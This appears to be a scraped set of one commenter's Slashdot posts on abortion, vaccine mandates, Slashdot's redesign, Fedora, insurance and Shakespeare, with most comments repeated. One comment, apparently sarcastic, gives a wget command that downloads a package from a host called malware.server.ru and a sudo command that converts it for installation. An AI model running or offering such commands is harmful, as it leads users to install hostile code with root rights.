I don't even understand why people feel there is a need for abortion. There are condoms and pills, plan B/morning after pill, and many other old fashion ways to not get pregnant. What purpose does abortion serve?
You forgot rape... And endangerment of the mother's life. Not every unwanted pregnancy can be prevented nor safely carried to term. I don't think anyone has the moral authority to force a woman to die as a consequence of trying to bring a dangerous pregnancy to term. Nor do I believe that unwanted pregnancies are solely the fault of the mother.
There's bound to be some moms out there that would consider aborting *their own* child to be immoral so technology like this isn't worthless just because some other people would choose to just abort and try again.
It looks like the technology isn't capable of imaging anything too deeply embedded in tissue which is why it worked on a mouse but is unlikely to work in humans.
I've considered doing exactly that- grab an old desktop and put some flavor of Linux server on it and go. Just because it can be forked doesn't mean that we can't criticize the direction Slashdot is taking.
Of course, the proper analogy here would be if Gentoo decided that efficiency suddenly wasn't as important as emulating Ubuntu and ended up p---ing off a large portion of their users.
I agree. THe sad part is that it could have gone better than it did. Slashdot could have stimulated some very interesting discussions in terms of politics however, as you said, it turned out to be just another way to stir up trouble and thus page views.
More like trade DVDs, books etc. with your friends. Don't copy them, just engage in some barter for the physical DVDs/books etc. The legal way to tell the RIAA + MPAA and such to frak themselves.
Idle and Slashdot 2.0 don't belong on Slashdot either. Unfortunately, someone behind the scenes thought that the best way to lure new users was to emulate Digg instead of doing what Slashdot did best; allow nerds and geeks to discuss interesting articles and thus provide intellectual entertainment. I think that they'll find that the whole charm of Slashdot was the discussion after the article and it is what made Slashdot worth returning to on a daily basis.
You're acting like these are forced vaccinations to the population, and they're not.
It's a mandatory vaccination; there's nothing voluntary about it. Yes it's a very good idea to have everyone in this line of work vaccinated but let's call it what it is.
If you believe that we should uphold the right of someone to control their own body then it is difficult to defend these rights for abortion but not the right to take or refuse vaccinations.
Fine. If a patient dies due to Swine flu and you knew that the vaccine could have prevented them from geting infected by you then I say that you're liable and should be held accountable for your actions. Also Mg (Magnesium) isn't a heavy metal, Hg (Mercury) is and hasn't been used in the flu vaccines for years.
TFA is claiming that mandating the flu vaccine would net quite a bit of profit for whatever pharmaceutical company manufactures them and since Goldman Sachs likely invests in said company, they'd stand to gain indirectly from the mandate and therefore so would the husband/wife pushing the flu mandate. But I agree with you. It looks like TFA's claims are a bit of a stretch. These employees work with people who are often immuno-compromised and getting infected with H1/N1 could kill them.
So what you're saying is that Linux should be just riddled with various types of malware in the server market because it is both the dominant player in that market and is a significant target considering the server market's importance. Reality seems to disagree with you.
Video games can also grossly misrepresent evolution, driving, archaeology and just about anything else they're based on. They are for the most part a source of entertainment meant to create a virtual world that may or may not have anything to do with real life. That is the point. They're supposed to be fun. Sometimes the historical inaccuracy is the whole point; It can be fun to interact with a world that isn't historically accurate; alternate timelines for example.
If you ask me, I think that your government will likely subsidize the internet access or create local monopolies to make sure everyone is covered and then use those actions to justify intervention along the lines we're all afraid of.
If you don't like Fedora, you are free to use one of 400 other distros. From what I've seen of the last few releases, Fedora has done a pretty good job of improving the quality of its releases.
Time to break out the VM and try out Fedora again- if nothing else because of the sandbox and frankly, it looks like a fairly impressive release. Maybe even enough to run it right beside Kubuntu.
Those who will be making payments for the next n decades, but rarely -- if ever -- actually obtaining any benefit from the insurance will be the only ones who will qualify for coverage.
Why would anyone want that kind of coverage? What fool would buy it?
THe purpose of insurance is to price risk and spread that risk among similar individuals. It's not supposed to force people to buy insurance that they feel they do not need. It's not supposed to be a system where everyone pays the same regardless of their risk. The problem is that the system as it is doesn't the least bit resemble such a system; it's full of fraud and people are heavily restricted in what they can actually choose in their insurance.
The article mentions the fact that there was very high competitive pressure on writers to compose plays very quickly so I wonder if there actually was plagiarism going on here. How hard would it have been for one of these writers to get at least a fairly crude copy of Shakespeare's work and utilise various elements of Shakespeare's previous plays? Can anyone enlighten us as to the probability of this being the case or for that matter how common plagiarism actually was at the time?
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You forgot rape... And endangerment of the mother's life. Not every unwanted pregnancy can be prevented nor safely carried to term. I don't think anyone has the moral authority to force a woman to die as a consequence of trying to bring a dangerous pregnancy to term. Nor do I believe that unwanted pregnancies are solely the fault of the mother.
There's bound to be some moms out there that would consider aborting *their own* child to be immoral so technology like this isn't worthless just because some other people would choose to just abort and try again.
It looks like the technology isn't capable of imaging anything too deeply embedded in tissue which is why it worked on a mouse but is unlikely to work in humans.
I've considered doing exactly that- grab an old desktop and put some flavor of Linux server on it and go. Just because it can be forked doesn't mean that we can't criticize the direction Slashdot is taking.
Of course, the proper analogy here would be if Gentoo decided that efficiency suddenly wasn't as important as emulating Ubuntu and ended up p---ing off a large portion of their users.
I agree. THe sad part is that it could have gone better than it did. Slashdot could have stimulated some very interesting discussions in terms of politics however, as you said, it turned out to be just another way to stir up trouble and thus page views.
More like trade DVDs, books etc. with your friends. Don't copy them, just engage in some barter for the physical DVDs/books etc. The legal way to tell the RIAA + MPAA and such to frak themselves.
Idle and Slashdot 2.0 don't belong on Slashdot either. Unfortunately, someone behind the scenes thought that the best way to lure new users was to emulate Digg instead of doing what Slashdot did best; allow nerds and geeks to discuss interesting articles and thus provide intellectual entertainment. I think that they'll find that the whole charm of Slashdot was the discussion after the article and it is what made Slashdot worth returning to on a daily basis.
It's a mandatory vaccination; there's nothing voluntary about it. Yes it's a very good idea to have everyone in this line of work vaccinated but let's call it what it is.
If you believe that we should uphold the right of someone to control their own body then it is difficult to defend these rights for abortion but not the right to take or refuse vaccinations.
He got a flu shot along with his family but it wasn't for H1/N1.
Fine. If a patient dies due to Swine flu and you knew that the vaccine could have prevented them from geting infected by you then I say that you're liable and should be held accountable for your actions. Also Mg (Magnesium) isn't a heavy metal, Hg (Mercury) is and hasn't been used in the flu vaccines for years.
TFA is claiming that mandating the flu vaccine would net quite a bit of profit for whatever pharmaceutical company manufactures them and since Goldman Sachs likely invests in said company, they'd stand to gain indirectly from the mandate and therefore so would the husband/wife pushing the flu mandate. But I agree with you. It looks like TFA's claims are a bit of a stretch. These employees work with people who are often immuno-compromised and getting infected with H1/N1 could kill them.
wget http://malware.server.ru/debian.deb
sudo alien -r debian.deb
So what you're saying is that Linux should be just riddled with various types of malware in the server market because it is both the dominant player in that market and is a significant target considering the server market's importance. Reality seems to disagree with you.
Video games can also grossly misrepresent evolution, driving, archaeology and just about anything else they're based on. They are for the most part a source of entertainment meant to create a virtual world that may or may not have anything to do with real life. That is the point. They're supposed to be fun. Sometimes the historical inaccuracy is the whole point; It can be fun to interact with a world that isn't historically accurate; alternate timelines for example.
or you could look at it as being about 0.4% of the budget. or about what we spent in Iraq last month.
Don't forget to support the indie artists that are not involved in the BS the rest of the "entertainment industry" is supporting.
If you ask me, I think that your government will likely subsidize the internet access or create local monopolies to make sure everyone is covered and then use those actions to justify intervention along the lines we're all afraid of.
If you don't like Fedora, you are free to use one of 400 other distros. From what I've seen of the last few releases, Fedora has done a pretty good job of improving the quality of its releases.
An experiment is only a failure if you don't learn anything from it.
Time to break out the VM and try out Fedora again- if nothing else because of the sandbox and frankly, it looks like a fairly impressive release. Maybe even enough to run it right beside Kubuntu.
Why would anyone want that kind of coverage? What fool would buy it?
THe purpose of insurance is to price risk and spread that risk among similar individuals. It's not supposed to force people to buy insurance that they feel they do not need. It's not supposed to be a system where everyone pays the same regardless of their risk. The problem is that the system as it is doesn't the least bit resemble such a system; it's full of fraud and people are heavily restricted in what they can actually choose in their insurance.
The article mentions the fact that there was very high competitive pressure on writers to compose plays very quickly so I wonder if there actually was plagiarism going on here. How hard would it have been for one of these writers to get at least a fairly crude copy of Shakespeare's work and utilise various elements of Shakespeare's previous plays? Can anyone enlighten us as to the probability of this being the case or for that matter how common plagiarism actually was at the time?